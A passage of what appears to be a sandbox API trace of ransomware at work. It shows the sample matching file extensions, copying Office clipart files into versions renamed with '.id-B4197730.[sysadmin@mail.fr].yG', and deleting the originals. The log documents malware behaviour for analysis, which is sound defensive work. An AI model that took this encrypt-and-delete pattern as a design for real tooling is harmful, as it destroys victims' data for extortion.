	[0149.718] lstrlenW (lpString=".rar") returned 4
	[0149.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.720] lstrlenW (lpString=".bz2") returned 4
	[0149.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.720] lstrlenW (lpString=".7z") returned 3
	[0149.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.763] lstrlenW (lpString=".dbf") returned 4
	[0149.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.763] lstrlenW (lpString=".1cd") returned 4
	[0149.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.763] lstrlenW (lpString=".jpg") returned 4
	[0149.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.764] lstrlenW (lpString=".doc") returned 4
	[0149.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.764] lstrlenW (lpString=".docx") returned 5
	[0149.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.764] lstrlenW (lpString=".pdf") returned 4
	[0149.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.764] lstrlenW (lpString=".xls") returned 4
	[0149.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.764] lstrlenW (lpString=".xlsx") returned 5
	[0149.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.764] lstrlenW (lpString=".ppt") returned 4
	[0149.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.764] lstrlenW (lpString=".zip") returned 4
	[0149.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.764] lstrlenW (lpString=".rar") returned 4
	[0149.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.764] lstrlenW (lpString=".bz2") returned 4
	[0149.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.764] lstrlenW (lpString=".7z") returned 3
	[0149.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.765] lstrlenW (lpString=".dbf") returned 4
	[0149.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.765] lstrlenW (lpString=".1cd") returned 4
	[0149.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.765] lstrlenW (lpString=".jpg") returned 4
	[0149.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.765] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.765] lstrlenW (lpString="HH00241_.WMF") returned 12
	[0149.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.848] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1960) returned 1
	[0149.848] CloseHandle (hObject=0x38c) returned 1
	[0149.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220
	[0149.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.849] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.849] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0149.850] GetLastError () returned 0x0
	[0149.850] ReadFile (in: hFile=0x38c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x7a8, lpOverlapped=0x0) returned 1
	[0149.871] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x7b0, lpOverlapped=0x0) returned 1
	[0149.872] ReadFile (in: hFile=0x38c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.872] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.872] SetEndOfFile (hFile=0x530) returned 1
	[0149.872] CloseHandle (hObject=0x530) returned 1
	[0149.873] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.873] SetEndOfFile (hFile=0x38c) returned 1
	[0149.875] CloseHandle (hObject=0x38c) returned 1
	[0149.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1
	[0149.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.880] lstrlenW (lpString=".doc") returned 4
	[0149.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.880] lstrlenW (lpString=".docx") returned 5
	[0149.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.880] lstrlenW (lpString=".pdf") returned 4
	[0149.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.880] lstrlenW (lpString=".xls") returned 4
	[0149.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.880] lstrlenW (lpString=".xlsx") returned 5
	[0149.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.880] lstrlenW (lpString=".ppt") returned 4
	[0149.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.881] lstrlenW (lpString=".zip") returned 4
	[0149.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.881] lstrlenW (lpString=".rar") returned 4
	[0149.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.881] lstrlenW (lpString=".bz2") returned 4
	[0149.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.881] lstrlenW (lpString=".7z") returned 3
	[0149.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.881] lstrlenW (lpString=".dbf") returned 4
	[0149.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.881] lstrlenW (lpString=".1cd") returned 4
	[0149.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.881] lstrlenW (lpString=".jpg") returned 4
	[0149.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.881] lstrlenW (lpString=".doc") returned 4
	[0149.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.882] lstrlenW (lpString=".docx") returned 5
	[0149.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.882] lstrlenW (lpString=".pdf") returned 4
	[0149.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.882] lstrlenW (lpString=".xls") returned 4
	[0149.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.882] lstrlenW (lpString=".xlsx") returned 5
	[0149.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.882] lstrlenW (lpString=".ppt") returned 4
	[0149.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.882] lstrlenW (lpString=".zip") returned 4
	[0149.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.882] lstrlenW (lpString=".rar") returned 4
	[0149.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.882] lstrlenW (lpString=".bz2") returned 4
	[0149.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.882] lstrlenW (lpString=".7z") returned 3
	[0149.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.882] lstrlenW (lpString=".dbf") returned 4
	[0149.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.882] lstrlenW (lpString=".1cd") returned 4
	[0149.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0149.882] lstrlenW (lpString=".jpg") returned 4
	[0149.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.883] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.883] lstrlenW (lpString="HH00276_.WMF") returned 12
	[0149.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.884] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3016) returned 1
	[0149.884] CloseHandle (hObject=0x38c) returned 1
	[0149.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220
	[0149.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.885] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.885] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0149.886] GetLastError () returned 0x0
	[0149.886] ReadFile (in: hFile=0x38c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0149.903] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0149.903] ReadFile (in: hFile=0x38c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.903] WriteFile (in: hFile=0x530, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.904] SetEndOfFile (hFile=0x530) returned 1
	[0149.904] CloseHandle (hObject=0x530) returned 1
	[0149.904] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.904] SetEndOfFile (hFile=0x38c) returned 1
	[0149.909] CloseHandle (hObject=0x38c) returned 1
	[0149.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1
	[0149.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.910] lstrlenW (lpString=".doc") returned 4
	[0149.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.910] lstrlenW (lpString=".docx") returned 5
	[0149.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.910] lstrlenW (lpString=".pdf") returned 4
	[0149.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.910] lstrlenW (lpString=".xls") returned 4
	[0149.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.910] lstrlenW (lpString=".xlsx") returned 5
	[0149.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.910] lstrlenW (lpString=".ppt") returned 4
	[0149.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.910] lstrlenW (lpString=".zip") returned 4
	[0149.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.910] lstrlenW (lpString=".rar") returned 4
	[0149.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.910] lstrlenW (lpString=".bz2") returned 4
	[0149.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.910] lstrlenW (lpString=".7z") returned 3
	[0149.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.910] lstrlenW (lpString=".dbf") returned 4
	[0149.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.910] lstrlenW (lpString=".1cd") returned 4
	[0149.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.910] lstrlenW (lpString=".jpg") returned 4
	[0149.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.911] lstrlenW (lpString=".doc") returned 4
	[0149.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString=".docx") returned 5
	[0149.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.911] lstrlenW (lpString=".pdf") returned 4
	[0149.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString=".xls") returned 4
	[0149.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.911] lstrlenW (lpString=".xlsx") returned 5
	[0149.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.911] lstrlenW (lpString=".ppt") returned 4
	[0149.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.911] lstrlenW (lpString=".zip") returned 4
	[0149.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.911] lstrlenW (lpString=".rar") returned 4
	[0149.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString=".bz2") returned 4
	[0149.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString=".7z") returned 3
	[0149.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.911] lstrlenW (lpString=".dbf") returned 4
	[0149.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.911] lstrlenW (lpString=".1cd") returned 4
	[0149.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0149.911] lstrlenW (lpString=".jpg") returned 4
	[0149.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.912] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.912] lstrlenW (lpString="HH00334_.WMF") returned 12
	[0149.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.912] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1528) returned 1
	[0149.912] CloseHandle (hObject=0x38c) returned 1
	[0149.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220
	[0149.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.205] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.205] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0150.206] GetLastError () returned 0x0
	[0150.207] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x5f8, lpOverlapped=0x0) returned 1
	[0150.208] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x600, lpOverlapped=0x0) returned 1
	[0150.210] ReadFile (in: hFile=0x48c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.210] WriteFile (in: hFile=0x520, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.211] SetEndOfFile (hFile=0x520) returned 1
	[0150.211] CloseHandle (hObject=0x520) returned 1
	[0150.211] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.211] SetEndOfFile (hFile=0x48c) returned 1
	[0150.216] CloseHandle (hObject=0x48c) returned 1
	[0150.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1
	[0150.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.218] lstrlenW (lpString=".doc") returned 4
	[0150.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.218] lstrlenW (lpString=".docx") returned 5
	[0150.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.218] lstrlenW (lpString=".pdf") returned 4
	[0150.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.218] lstrlenW (lpString=".xls") returned 4
	[0150.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.218] lstrlenW (lpString=".xlsx") returned 5
	[0150.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.218] lstrlenW (lpString=".ppt") returned 4
	[0150.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0150.218] lstrlenW (lpString=".zip") returned 4
	[0150.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
